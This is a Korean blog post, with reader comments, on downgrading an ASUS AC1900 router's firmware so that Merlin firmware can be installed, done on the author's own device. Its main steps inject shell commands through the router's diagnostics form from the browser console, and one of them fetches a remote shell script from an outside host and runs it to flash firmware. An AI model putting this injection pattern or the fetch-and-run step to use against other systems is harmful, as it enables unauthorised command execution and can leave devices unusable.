ASUS AC1900 멀린펌 올리기 (3199->1703)

기존에 쓰던 D-Link DIR-850L 의 와이파이가 왔다갔다 해서 가성비로 유명한 ASUS AC1900을 샀다.

1. 구매하기
직구 하려다가, 네이버에 비슷한 가격으로 구매대행 해주는 곳이 있어서 그곳에서 주문함
구매링크 

2. SSH 활성화를 위한 펌웨어 다운그레이드 하기
받아서 확인해보니 3199 버전이었다. 3199 버전은 기존의 다운그레이드 방법을 막혀서 다른 방법을 이용해야 한다.
여기서 몇시간 삽질함…

참고 원글 : https://docs.google.com/document/d/1NsZMONmJ70zMmoAKKQJXbTVKytaPJptWTpqih1TD5n8/edit#
참고 글 : http://www.ppomppu.co.kr/zboard/view.php?id=computer&no=505863
뽐뿌글 따라하다가 안되서, 원글의 NO CFE USB Instructions 을 따라했다.

1단계 : USB 메모리를 준비, fat32로 포맷하고 볼륨명을 ”USB” 로 지정하라.

2단계 : 펌웨어를 USB로 복사하라.
다운로드 하면 파일이 다 있음. 원글이 있는 거라 방법만 적으려다가 찾으실 것 같아서 링크 겁니당.
파일명 : TM-AC1900_3.0.0.4_376_1703-g0ffdbba.trx

3단계 : 테스트 커맨드 모드로 진입
공유기에 WAN, LAN 다 꼽고 전원을 키고 조금 기다리면 Wifi 에 불이 들어온다.
그때 유선으로 연결된 PC에서 192.168.1.1 또는 192.168.29.1 로 접속하면 공유기 설정을 할 수 있음.

거기서 네트워크 도구를 누르고 화면 아무데나 찍은 후 나오는 개발자 모드에서 console로 들어간다.
아래의 순서대로 valideForm 을 콘솔에 입력한 후 네트워크 진단를 실행하는 것을 계속하면 됨.

validForm = function(){document.form.SystemCmd.value = ”ping\nmount -t tmpfs tmpfs userRpm”;return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\ncp -a . userRpm”;return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\nmount –move userRpm .”;return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\nmount”;return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\nservice restart_httpd”;return true;}
1분정도 대기

validForm = function(){document.form.SystemCmd.value = ”ping\nwget -A txt -r -nH -nd docbill.freeshell.org”;return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\n. u.txt ” + encodeURIComponent(”find /tmp/mnt  -name firmware1703.trx” ).replace(/%/g,”..”);return true;}

validForm = function(){document.form.SystemCmd.value = ”ping\n. u.txt ” + encodeURIComponent(”mtd-write2 /tmp/mnt/USB/firmware1703.trx linux”).replace(/%/g,”..”);return true;}

몇분 대기

4단계 : WPS 초기화
위의 단계가 끝나면 전원을 끄고 WPS 버튼을 누른 채로 전원을 킨 후 20초 정도 후에 전원 버튼이 깜박 거리면 WPS 버튼을 놓으면 됨.

여기까지 하면 펌웨어가 1703 버전으로 내려간다.

다음
여기까지가 3199버전에서 1703버전으로 다운그레이드 하는 방법이다.
그 뒤는 아래의 블로그를 참고해서 진행하였음.
http://lightinglife.tistory.com/51
http://snowsooner.tistory.com/66



17 thoughts on “ASUS AC1900 멀린펌 올리기 (3199->1703)

    1. 안녕하세용. 제 블로그 첫 댓글을 쿨럭쿨럭 ㅡㅜ

      다운그레이드 방법을 요약해서 말씀드리면
      usb에 펌웨어 넣음 -> 꼼수로 마운트(연결)함 -> 웹에서 u.txt(쉘 스크립트) -> 쉘스크립트를 돌려서 펌 올림

      이런 형태인데용
      validForm = function(){document.form.SystemCmd.value = ”ping\nwget -A txt -r -nH -nd docbill.freeshell.org”;return true;}

      요 명령어가 docbill.freeshell.org 라는 주소에서 u.txt 를 받아오는 거에요.
      본문을 순서대로 하시고, 저 부분에서
      index.html 이랑 u.txt 이 다운로드 되셔야 진행이 됩니다.

      뽐뿌 글에 있는 걸로는 안됐는데, 저걸로는 됐어용

  1. Uncaught SyntaxError: Invalid or unexpected token
    첫줄입력하자마자 이렇게 뜨네요..ㅠㅠ

    하다하다 찾다찾다 여기까지 왔는데 ㅠㅠ

    1. 개발자 모드(크롬 f12키)의 콘솔에서 입력하신거 맞으신가용?

      validForm = function(){document.form.SystemCmd.value = “ping\necho hello world”;return true;}
      이 명령어 부터 테스트 해보시고, hello world 뜨면 문제 없습니다.

  2. validForm = function(){document.form.SystemCmd.value = “ping\nwget -A txt -r -nH -nd docbill.freeshell.org”;return true;}

    –2018-08-31 02:37:29– http://docbill.freeshell.org/
    Resolving docbill.freeshell.org… 205.166.94.9
    Connecting to docbill.freeshell.org|205.166.94.9|:80… connected.
    HTTP request sent, awaiting response… 200 OK
    Length: 4482 (4.4K) [text/html]
    index.html: Read-only file system

    Cannot write to ‘index.html’ (Read-only file system).

    뽐뿌 다라하다가 안되서 여기까지 오게 되어 질문 남깁니다.
    해당 정보는 index.html 저장 할수 없다고 나오는데 혹시 어떻게 해야 할까요? ㅠㅠ

    1. 저장하려는 파일 시스템이 읽기전용 이라서 저장이 안된다고 하는 것 같습니다.
      그 문제만 해결하시면 진행될 것 같네용

      1. usb 로 파일을 다운로드 하는 건데
        usb 가 읽기 전용으로 되어 있을거 같습니다.

        저도 해본지 오래되서 이제 가물가물하네요 ^^;

    1. 3단계 : 테스트 커맨드 모드로 진입

      본문의 아래 순서로 하시면 됩니다~~

      공유기에 WAN, LAN 다 꼽고 전원을 키고 조금 기다리면 Wifi 에 불이 들어온다.
      그때 유선으로 연결된 PC에서 192.168.1.1 또는 192.168.29.1 로 접속하면 공유기 설정을 할 수 있음.

      거기서 네트워크 도구를 누르고 화면 아무데나 찍은 후 나오는 개발자 모드에서 console로 들어간다.
      아래의 순서대로 valideForm 을 콘솔에 입력한 후 네트워크 진단를 실행하는 것을 계속하면 됨.

  3. 다운까지 전부 끝나고 마지막꺼 하니까 아래처럼 메시지가 나오면서 더이상 진행이 안되네요

    혹시 저같은 문제 나오시는분 있나요?
    + mtd-write2 /tmp/mnt/USB/firmware1703.trx linux
    /tmp/mnt/USB/firmware1703.trx: File is too small (0 bytes)

답글 남기기

이메일은 공개되지 않습니다.

This site uses Akismet to reduce spam. Learn how your comment data is processed.